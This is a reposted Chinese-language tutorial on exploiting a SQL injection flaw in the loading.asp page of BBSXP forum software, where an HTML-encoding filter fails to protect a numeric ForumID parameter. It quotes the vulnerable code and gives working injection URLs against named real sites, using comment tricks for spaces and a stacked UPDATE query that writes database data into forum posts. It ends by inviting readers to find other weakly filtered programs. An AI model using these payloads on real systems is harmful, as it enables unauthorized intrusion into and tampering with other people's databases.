==== 废话
本文是看了华仔的BBSXP的loading.asp的forumid变量过滤不足后写的总结报告.
内容
让我们先来看BBSXP的loading.asp的代码吧
--------------------------------------<del>cut</del>---------------------------------- 1 <!-- #include file="Setup.asp" --> 2 <% 3 id=int(Request("id")) 4 ForumID=HTMLEncode(Request("ForumID"))
.......
53 sql="select * from [BBSXP_Forums] where id="&ForumID&""
--------------------------------------<del>cut</del>----------------------------------
上面的代码我们知道,forumid的过滤方式是htmlencode.典型的数字型注射方式. 再来看一下htmlencode是怎么验证的:
--------------------------------------<del>cut</del>---------------------------------- function HTMLEncode(fString) fString=replace(fString,";",";") fString=replace(fString,"<","<") fString=replace(fString,">",">") fString=replace(fString,"/","/") fString=replace(fString,"--","--") fString=replace(fString,CHR(9)," ") fString=replace(fString,CHR(10)," ") fString=replace(fString,CHR(13),"") fString=replace(fString,CHR(22),"") fString=replace(fString,CHR(32)," ") fString=replace(fString,CHR(34),""")'双引号 fString=replace(fString,CHR(39),"'")'单引号 if IsSqlDataBase=0 then fString=ReplaceText(fString,"[/u30A0-/u30FF]"," ") '过滤片假名(日文字符) HTMLEncode=fString end function --------------------------------------<del>cut</del>----------------------------------
从上面的过滤方式,我们知道过滤了,单引号,又引号,还;,— 学过注射的哥们就知道,仅过滤这些是不够的,特别是sql的,上面的过滤等于没过滤.
原理我觉得多说无用,构造一个例子大家就明白了. Eg: http://www.linzi.org.cn/loading.asp?forumid=1/**/update/**/set/**/content=
(select/**/@@version)/**/where/**/username=linzi
其中空格可以用/**/也可用%09替换.
但是换成字符型的,这个时候就是过滤掉了,因为htmlencode过滤了引号,至少我是没办法突破了,如果 大虾们有没法突破的话,可以联系偶一下,谢谢.
好了,文章就到此了,有好多程序过滤的并不严,具体是什么程序,大家自己动手吧
== 结束语 == 上面的这篇报告虽然没有什么亮点,但是从这篇至少让我们知道不要以为变量过滤了,就一定没有注射漏洞,这篇报告让我们学到对各种过滤 方式的突破.另代码程序员在编写着也该问问自己,我过滤严了吗?
ps:
这里提出一种对注射时屏出错提示的突破方法. 原理很容易,不说了,一个例子大家就知道我的思路啦. list.asp?id=1;update title set content=(select @@version) where id=1 再浏览一下 http://bbs.cnbct.org/list.asp?id=1 就会发现文章的内容显示的是select @@version的内容,嘿嘿 【转自世纪安全网 http://www.21safe.com】
|